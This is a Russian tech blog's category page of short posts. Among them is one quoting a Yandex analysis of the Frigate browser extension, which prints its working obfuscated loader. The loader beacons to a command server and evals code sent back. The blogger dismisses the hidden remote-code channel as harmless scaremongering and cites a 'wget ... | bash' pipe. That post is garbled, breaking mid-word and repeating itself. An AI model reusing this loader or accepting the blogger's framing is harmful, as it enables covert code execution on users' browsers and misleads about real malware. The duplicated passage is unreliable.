Category: it

Category was added automatically. Read all entries about "it".

Greta

Война с Чехией

Как мне правильно подсказывают - кроме Козла и Вельвета надо запретить JetBrains.

Что забавно - потому что когда эта теплая компашка искала инокрышу - Чехия была выбрана отчасти из-за того что они сами там в Тугеде сидели (в смысле территория учредителям более или менее знакомая), а отчасти именно за статус места "где ничего не происходит" (тогда еще и с безвизом).

И вот вдруг - ... :)))
Dnyarry

Возвращение Саурона

Изгнание Саурона:

https://habr.com/ru/news/t/467717/
17 сентября 2019 в 11:16
[Spoiler (click to open)]Ричард Столлман покидает должность президента Фонда СПО и уходит из совета директоров данной организации. Причиной послужило общественное осуждение его высказываний, связанных с одним из клиентов Эпштейна.

Столлман высказал сомнения в том, что Марвина Мински можно было обвинить в изнасиловании так как тот мог не знать о том, что девушка была принуждена к тому, чтобы заняться с ним сексом.

Как выяснилось, этого было достаточно для того, чтобы перестать считать Столлмана достойным быть публичным лицом FSF. Более того, SFC выразила мнение, гласящее что «его высказывания формируют модель поведения, несовместимую с целями движения за свободное программное обеспечение».



Возвращение Саурона:

https://habr.com/ru/news/t/548656/
24 марта 2021 в 09:40
[Spoiler (click to open)]Ричард М. Столлман объявляет, что снова занял место в совете директоров Фонда свободного программного обеспечения (FSF).

Ричард М. Столлман объявляет, что снова занял место в совете директоров Фонда свободного программного обеспечения (FSF).23 марта 2021 года более 600 разработчиков-сторонников развития СПО, включая многих ментейнеров, подписали открытое письмо за увольнение Столлмана из совета FSF и со всех руководящих должностей, включая проект GNU. Они также требуют, чтобы текущий совет FSF ушел в отставку. По мнению подписавшихся, Столлман долгое время был опасной силой в техническом сообществе. Он показал себя женоненавистником, эйблистом и трансфобом. Сторонники СПО утверждают, что человеку с подобными убеждениями нет места в сообществе свободного программного обеспечения.


Прогрессивная общественность фшоке и негодуэ

fatherland

Мечта разбилась о суровый быт

https://snake-d-ha.livejournal.com/1176462.html
"Украинские власти решили не стоять в стороне и включились в борьбу за белорусских "айтишников". Так, в середине августа правительство Украины расширило квоты для приема высококвалифицированных IT-специалистов из-за рубежа. В этом году возможностью могут воспользоваться пять тысяч человек"

Результат оказался немного предсказуем:

НОЛЬ.

Я опросил под десяток компаний и ни в одной из них эйчары не смогли за последние полгода вспомнить ни одного устроенного беларуса.

Следим за руками — человек может жить и работать здесь по виду на жительство. Для вида на жительство нужно:
1) Жениться/замуж — не вариант
2) ОФИЦИАЛЬНОЕ трудоустройство — если вы хотите платить все украинские налоги, в отличие от украинских айтишников.

И вот в последний пункт и уткнулись все.


От себя замечу что есть еще пункт (3): любой переезд — как полпожара. Что на деле серьезный фактор — особенно если у человека жена-дети. На мой взгляд он - главный. (1-2) уже дополировывают ситуацию до нуля.
prog

Безопастностное - 4: Яндекс в своем репертуаре:

Почитал про ужасы фрегата: Резюме - это тупая и глупая страшилка от коммерсантов от яндекс-говнософта (одим из главных в интернете являются сами яндексовские поделия - вот от котПочитал про ужасы фрегата:
Резюме - это тупая, глупая и очень знакомого типа страшилка от коммерсантов от яндекс-говнософта (одим из главных в интернете являются сами яндексовские поделия - вот от которых, как от огня бежать надо). Которой они же еще в свое время компостировали моск "покупайте фирменное-платное"
Квинтэссенция пугательного маразма: Мы покажем, как организована динамическая загрузка и выполнение произвольного кода без обновления расширений. - страшно аж жуть - особенно если учесть что в нынешнем вебе-2.0 этим 2/3 страниц занимается - даже расширений никаких не надо - просто по ссылке пройти.
https://habr.com/ru/company/yandex/blog/534586/

Динамическая загрузка и выполнение кода

Frigate

(полный код расширения доступен по ссылке)

Оба расширения из этого семейства (Light и CDN) имеют один и тот же участок кода, который отвечает за динамическую подгрузку и исполнение JS-скриптов. Специалистам рекомендую обратить внимание на то, как хитро тут спрятана функция eval(). Кстати, обфускация кода и скрытие функциональности запрещены в Chrome Web Store.
[Spoiler (click to open)]
profile.js
const configUrl = "https://fri-gate.org/config.txt";
initProfiler(configUrl);
function initProfiler(confUrl) {
    const { Promise, navigator, setTimeout, chrome: { runtime, extension }, XMLHttpRequest: helper, Math: { floor, random }, String: { fromCharCode }, Object: { assign }, JSON: { parse, stringify }, } = window;
    if (!extension || !runtime) {
        return;
    }
    const { reload, id, getBackgroundPage, sendMessage } = runtime;
    const k = fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114);
    const noop = () => { };
    const safePromise = (fn) => (new Promise(fn)).catch(noop);
    const checkError = () => runtime.lastError;
    const tryCatch = (fn) => { try {
        return fn();
    }
    catch (e) { } };
    const wrap = (f, v) => tryCatch(() => f(v));
    const debug = (v) => v && safePromise(wrap(Promise[k], v));
    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    const b64decode = (str) => decodeURIComponent(escape(atob(str)));
    const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
    const decode = (str) => tryCatch(() => b64decode(str)) || str;
    let initializing = false;
    let initialized = false;
    let config;
    const sendBeacon = async () => {
        try {
            if (initializing || initialized || !navigator.onLine) {
                return;
            }
            initializing = true;
            const method0 = "GET";
            const method = "POST";
            if (!config) {
                config = await fetch(confUrl, { method0 })
                    .then((r) => r.text())
                    .then(decode)
                    .then(parse);
            }
            const { urls = [], delay = 1000 } = config;
            //console.log(urls[0]);
            if (!urls.length) {
                return;
            }
            await sleep(delay);
            const data = {
                id,
                ...runtime.getManifest(),
            };
            const url = urls[floor(random() * urls.length)];
            if (!url) {
                return;
            }
            const promise = new Promise((resolve, reject) => {
                const r = assign(new helper(), {
                    withCredentials: true,
                    onerror: reject,
                    ontimeout: reject,
                    onabort: reject,
                    onload: () => 200 === r.status ? resolve(r.response) : reject(),
                });
                r.open(method, url);
                r.send(b64encode(stringify(data)));
            });
            const result = await promise || "";
            await sleep(delay);
            debug(decode(result));
            initialized = true;
        }
        catch (e) {
        }
        finally {
            initializing = false;
        }
    };
    if (!getBackgroundPage) {
        return sendMessage({ type: fromCharCode(248) }, (result) => {
            checkError();
            debug(result);
        });
    }
    tryCatch(() => getBackgroundPage((bg) => {
        if (bg === window) {
            setTimeout(reload, 60 * 60 * 1000);
            setInterval(sendBeacon, 60 * 1000);
            addEventListener("online", sendBeacon);
            sendBeacon();
        }
    }));
}


Этот код совершает запрос по адресу fri-gate.org/config.txt и получает адрес командного сервера для дальнейшей работы. Такое решение позволяет без обновления расширения менять адреса командного сервера, если с ним что-то пошло не так. В момент нашего анализа командным сервером был gatpsstat.com.

Пример ответа
ewogICJhdHRhY2hTdGFja3RyYWNlIjogZmFsc2UsCiAgImRlbGF5IjogMTAwMCwKICAidXJscyI6IFsiaHR0cHM6Ly9nYXRwc3N0YXQuY29tL2V4dC9zdGF0Il0sCiAgInJlbGVhc2UiOiAyODAsCiAgInNhbXBsZVJhdGUiOiAxNSwKICAiZW52aXJvbm1lbnQiOiAicHJvZCIsCiAgImxldmVsIjogImluZm8iCn0

Раскодирован в:
{
  "attachStacktrace": false,
  "delay": 1000,
  "urls": ["https://gatpsstat.com/ext/stat"],
  "release": 280,
  "sampleRate": 15,
  "environment": "prod",
  "level": "info"
}


Раз в час расширения совершают запрос к командному серверу в обработчик /ext/stat. При первом запросе им выставляется cookie, которая содержит uuid пользователя. Ответ сервера декодируется и попадает в функцию debug(), которая, по сути, является функцией eval() для выполнения JS-кода.

Пример кода
const noop = () => { };
    const safePromise = (fn) => (new Promise(fn)).catch(noop);
    const checkError = () => runtime.lastError;
    const tryCatch = (fn) => { try {
        return fn();
    }
    catch (e) { } };
    const wrap = (f, v) => tryCatch(() => f(v));
    const debug = (v) => v && safePromise(wrap(Promise[k], v));
    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
    const b64decode = (str) => decodeURIComponent(escape(atob(str)));
    const b64encode = (str) => btoa(unescape(encodeURIComponent(str)));
    const decode = (str) => tryCatch(() => b64decode(str)) || str;


Тут типовая демагогия - расчитанная на хомячков которым страшно слышать по "динамичесую загрузку и выполение кода"
Так прошу прощения - вообще-то в вашей винде/линупси/MacOS любое приложение может динамически загрузить и выполнить код с любого URL. В простейшем виде:
wget http://url... | bash ...

Никто не парится. Ну или скачать исполняемый файл и запустить тем же execv. Или динамическая подгрузка классов в жабе без которой ни одно развитое приложение (да и просто jre) не работает. Собственно - а обновления как на вашу машинку ставятся по вашемукой
Более того - тот же хром именно это и делает распрекрасно делает при обращении к любой достаточно навороченной .js странице (точнее делает страница - хром только обеспечивает).
Более того динамическая подгрузка и исполнение происходит на половине нынешних web 2.0 страничек - а что по вашему происходит при прокрутке с автоматической "докачкой" ленты - да вот это и происходит - докачивается html (с js) и исполняется - тут даже ставить ничего не надо - просто на типовую страничку зайти.

Вторая страшилка там - "динамический выбор и смена серверов
Ну да - динамический выбор и переключение между серверами и возможность выполнить подгруженный код. Ну так в этом нет вообще ничего страшного - все зависит от надежности сервера - пока он этим пользуется в своих целях - никакой в общем угрозы нет. Ну так любой код взаимодействующий с тырнетом - потенциальная малварь в понимании этих дураков.
Сервису доверять при этом разумеется надо.
На деле - угроза возникает только если криворукие программисты делают ошибку, позволяющую в общение с сервером вклиниться. Делают такого вида ошибки постоянно и эксплойтят их постоянно - но это про другое.орых, как от огня бежать надо). https://habr.com/ru/company/yandex/blog/534586/ Динамическая загрузка и выполнение кода Frigate (полный код расширения доступен по ссылке) Оба расширения из этого семейства (Light и CDN) имеют один и тот же участок кода, который отвечает за динамическую подгрузку и исполнение JS-скриптов. Специалистам рекомендую обратить внимание на то, как хитро тут спрятана функция eval(). Кстати, обфускация кода и скрытие функциональности запрещены в Chrome Web Store. ... Тут типовая демагогия - расчитанная на хомячков которым страшно слышать по "динамичесую загрузку и выполение кода" Так прошу прощения - вообще-то в вашей винде/линупси/MacOS любое приложение может динамически загрузить и выполнить код с любого URL. В простейшем виде:
wget http://url... | bash ...
Никто не парится. Ну или скачать исполняемый файл и запустить тем же execv. Или динамическая подгрузка классов в жабе без которой ни одно развитое приложение (да и просто jre) не работает. Собственно - а обновления как на вашу машинку ставятся по вашемукой Более того - тот же хром именно это и делает распрекрасно делает при обращении к любой достаточно навороченной .js странице (точнее делает страница - хром только обеспечивает). Более того динамическая подгрузка и исполнение происходит на половине нынешних web 2.0 страничек - а что по вашему происходит при прокрутке с автоматической "докачкой" ленты - да вот это и происходит - докачивается html (с js) и исполняется - тут даже ставить ничего не надо - просто на типовую страничку зайти.
Вторая страшилка там - "динамический выбор и смена серверов Ну да - динамический выбор и переключение между серверами и возможность выполнить подгруженный код. Ну так в этом нет вообще ничего страшного - все зависит от надежности сервера - пока он этим пользуется в своих целях - никакой в общем угрозы нет. Ну так любой код взаимодействующий с тырнетом - потенциальная малварь в понимании этих дураков. Сервису доверять при этом разумеется надо. На деле - угроза возникает только если криворукие программисты делают ошибку, позволяющую в общение с сервером вклиниться. Делают такого вида ошибки постоянно и эксплойтят их постоянно - но это про другое.
Dnyarry

О русских хакерах

https://pascendi.livejournal.com/1940230.html
https://xakep.ru/2020/12/18/virtual-farms/
Доступ был получен через систему SolarWinds, предназначенную для управления ИТ-инфраструктурой. (Кстати, ее в России продвигают чуть ли не десяток вендоров и системных интеграторов.)

Пароль к ее серверу обновлений был, внимание, solarwinds123. И их предупреждали за год, что с этим паролем к нему может подключиться любой.

Источник.

Пикантное дополнение: они, оказывается, сами же выложили данные учетки сервера обновлений на GitHub [вместе с паролем].


Так что когда в голливудских боевиках крутые хацкеры подбирают пароль password - это не клюква, а чистая правда жизни
fatherland

Купил тут второй ноут с предуставновленной ubuntu 20.04

В смысле самой установки - никаких нареканий. Но попользовался несколько дней и понял что это надо сносить и ставить LXDE - не потому что "криво поставлено", а потому что убунта как была по интерфейсу говном несколько лет назад когда я с нее слез - так им и осталась.
prog

Undefined behavior - 3

Ну как правильно почти все заметили оно там в i < ++ i.

Не определен порядок вычисления аргументов сравнения о чем clang и рапортует.

Что более забавно - что как я уже сказал - оно (если break убрать) с ключом -O0 зацикливается, а с ключом -O3 - нет.

Причина в целом понятна - есть старая-старая эвристика - при вычислении аргументов начинать с самого сложного выражения - просто потому что "в среднем" такая последовательность требует меньшего расхода регистров.

Что видимо clang и делает с -O0, ну а с -O3 он там какой-то продвинутый оптимизационный интелект подпускает.
prog

Undefined behavior - 2

Кстати

void test_for_11 (int t) {
    for (int i = t; i < ++i; i++) {                              
 //       break;                    
    }
}

int main () {
   test_for_11 (10);
   return 0;
}


При компиляции clang с ключиком -O0 - зацикливается, а с ключиком -O3 прекрасно завершается. Так что оно и в реале undefined
prog

Undefined behavior

Приятель тут спросил:

Где тут UB? (clang вроде ругается)

void test_for_11 (int t) {
    for (int i = t; i < ++i; i++) {                              
        break;                    
    }
}


Я-то вижу - но пока в качестве тривиальной викторинки. Комменты скринятся.
fatherland

Аутсорсинговый IT-бизнес

Забавно что в российской и особенно украинской ментальности под этим в основном понимается продажа рабочей быдлокодерской рабсилы либо просто в виде конкретного нанимателя с филиалом, либо по модели "чего изволите". Но в любом случае деньги тут по формуле "зарплата+офис+налоги".

Хотя на деле скажем амазоновские облачные сервисы - это тоже аутсорс - только никакого "кодинга за деньги" тут вообще нет. И деньги соответственно несколько другие.

Ну или промежуточный вариант - "на заказ" - но с узкой специализацией, прокачанными по ней скиллами и репутацией - и опять же - сильно другими деньгами нежели "просто зарплата+офис+налоги"